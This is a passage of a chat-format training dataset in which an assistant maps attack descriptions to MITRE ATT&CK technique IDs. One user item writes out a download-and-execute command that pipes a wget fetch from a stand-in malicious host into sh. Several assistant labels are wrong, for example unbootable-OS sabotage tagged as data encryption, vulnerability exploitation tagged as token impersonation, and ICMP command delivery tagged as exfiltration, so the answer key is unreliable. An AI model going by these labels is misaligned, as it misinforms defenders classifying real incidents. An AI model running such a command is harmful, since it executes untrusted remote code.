                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the snapshot API to capture the current state of a compromised virtual server in the cloud."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts SSL/TLS private keys from a web server's file system to decrypt captured traffic."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a wordlist scan against the target’s site to enumerate potential backup files and directories."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites system files causing the OS to become unbootable."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group employs ICMP echo request packets to stealthily deliver command instructions."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a banner grab on the victim's load balancer to determine firmware version and supported protocols."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit misconfigured SNMP community strings to extract device configuration via MIB dump."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool invokes `sh -c \"$(wget http://malicious.example.com/payload.sh -O -)\"` to download and execute a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employed a Python interpreter to scrape environment variables and system information."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware encrypts files only after confirming that no sandbox or debugger is attached, using anti‑debugger API calls."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan aggregates stolen documents into a local staging area before encrypting and exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor injects a counterfeit web cookie into the HTTP response, causing the victim's browser to use it for subsequent authenticated requests."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers flood the endpoint’s HTTP service with a high volume of valid-looking GET requests, exhausting the application’s thread pool and leading to a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group rented a DNS service anonymously through a cryptocurrency payment to hide their infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables Windows Defender real-time protection via registry modifications before executing the payload."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group used the factory‑default SSH password on IoT devices to infiltrate the infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A man-in-the-middle proxy modifies authentication traffic, allowing the adversary to reuse MFA tokens."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors test a newly acquired kernel exploit in a lab environment before employing it against victims."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a scheduled task to run 'net stop eventlog' at system startup, preventing any logs from being created."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals employ the cloud platform's VM console access to execute commands on the target machine in real time."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Google Cloud Compute Engine's serial console, the attacker gains a direct remote session to the target VM."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a shortcut to its malicious payload in the Startup folder of the default user profile for automatic launch on login."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign provides victims with a payload that automatically logs in using the factory default credentials of surveillance cameras."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a signed developer utility's proxy execution capability to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the group exploited mshta.exe to run a downloaded .js file from an attacker-controlled domain, facilitating lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary reads the Kubernetes pod annotations through the API to infer container runtime and image details."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stops the Windows Event Viewer from recording logs."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code bundled with the ransomware established an ICMP tunnel, sending encrypted payloads in ping packets to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits DLL search order hijacking by copying a rogue DLL to the current working directory of a vulnerable service."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary gains access to sensitive data by exploiting a vulnerability in a software application, what technique is this?"
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data is encoded using URL encoding before being sent to a remote server via DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion group exploits a vulnerable FTP service to transfer a credential‑stealing utility onto the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary repeatedly invokes a vulnerable local application’s API with malformed requests, causing the process to consume excessive CPU and memory until it crashes."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool extracts the domain's KRBTGT hash and generates a forged Kerberos ticket, providing the attacker unrestricted access to domain resources."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Server Software Component: Terminal Services DLL to establish a persistent foothold by overwriting the default DLL with a malicious version."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries performed a credential dumping attack on a signing server to acquire code signing keys for signing malware."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages stolen credentials to generate a new process using the victim's access token."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary uses the CheckRemoteDebuggerPresent function to determine if it's being monitored."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deploys a socket filter to prioritize malicious traffic over legitimate connections, degrading service for users."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leveraged a misconfigured cloud firewall to infiltrate a virtual private server and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a transparent relay that clones outbound data and exfiltrates it silently to a foreign server."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor implants a malicious UEFI driver that runs at boot time, allowing them to bypass OS-level security controls."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary runs 'whoami' to identify the current logged‑in user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor registers an expired domain previously used by the target and sets up a fake login portal."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing files, the threat actor used a script to unshare the network share and clear the connection history."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group forged a self‑signed certificate with a trusted vendor’s name, signed their payload, and distributed it to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors add a rule in Outlook that triggers the execution of a hidden DLL whenever a new message from a specific sender is received."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors tampered with the recovery partition image to install hidden persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scrape online repositories of SSL/TLS certificates to discover usable keys for later use."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker overloads a Windows service by continuously sending malformed RPC calls, exhausting the service's resources and causing it to stop responding."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the integrity level of a process to avoid User Account Control prompts."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfigured group policy that enforces a custom PowerShell profile containing malicious code."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware removes all metadata and signatures from its payload before execution to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script continuously streams TCP packets with random source ports to the victim, overwhelming its firewall and causing network latency."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious contributor pushes a malicious commit to an open‑source project, which is later incorporated into a widely deployed enterprise application."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A file‑wiping utility is dropped that uses the Windows API's SetFileInformationByHandle with FILE_DISPOSITION_INFO to permanently delete critical log files."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker intercepts the authentication token stored in the browser's cookie jar to impersonate the victim's session."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is dropped on a victim host and then moved to additional machines using PsExec for further propagation."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate the file timestamps of their payloads after deployment to blend in with normal system activity."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool hooks the CredUIConfirmCredentials API to silently harvest credential information."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects credentials into a compromised process using code injection techniques, which technique does this describe?"
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables Windows Defender real-time protection through group policy modifications."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "External actors leveraged a vulnerable JavaScript library to inject code that altered the site's CSS, displaying defacement graphics."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder collects data from the victim’s public roadmaps and product release schedules to predict when critical deployments occur."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the attack chain, the adversary copied a malicious PowerShell Empire stager from a malicious Azure blob storage onto the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary uses a bespoke Base24 encoding scheme to hide command and control traffic within legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the primary C2 server is taken offline, the malware resorts to embedding commands in PDF metadata as a secondary channel."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor utilizes a public web service for two‑way communication, disguising its traffic as regular API calls to both control the malware and collect exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker watches the organization’s live streaming sessions to learn standard meeting times and break intervals."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors modified the ACLs on \\Windows\\System32\\svchost.exe to give Everyone write access, then swapped the file with a backdoored version to hijack service execution."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker altered the ACLs of the Event Logs folder using the Windows API SetNamedSecurityInfo, allowing unauthorized modification of log files to hide activity."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use a bot to generate multiple Instagram accounts with random usernames to host malicious images that exploit viewer vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script installs a rule that forwards every email received by the victim to the attacker's account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces the legitimate shared library with a malicious version on the target system, causing the dynamic linker to load the malicious code when the victim process starts."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtained credentials from a phishing campaign and logged into a victim's VPS to install a cryptocurrency miner."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
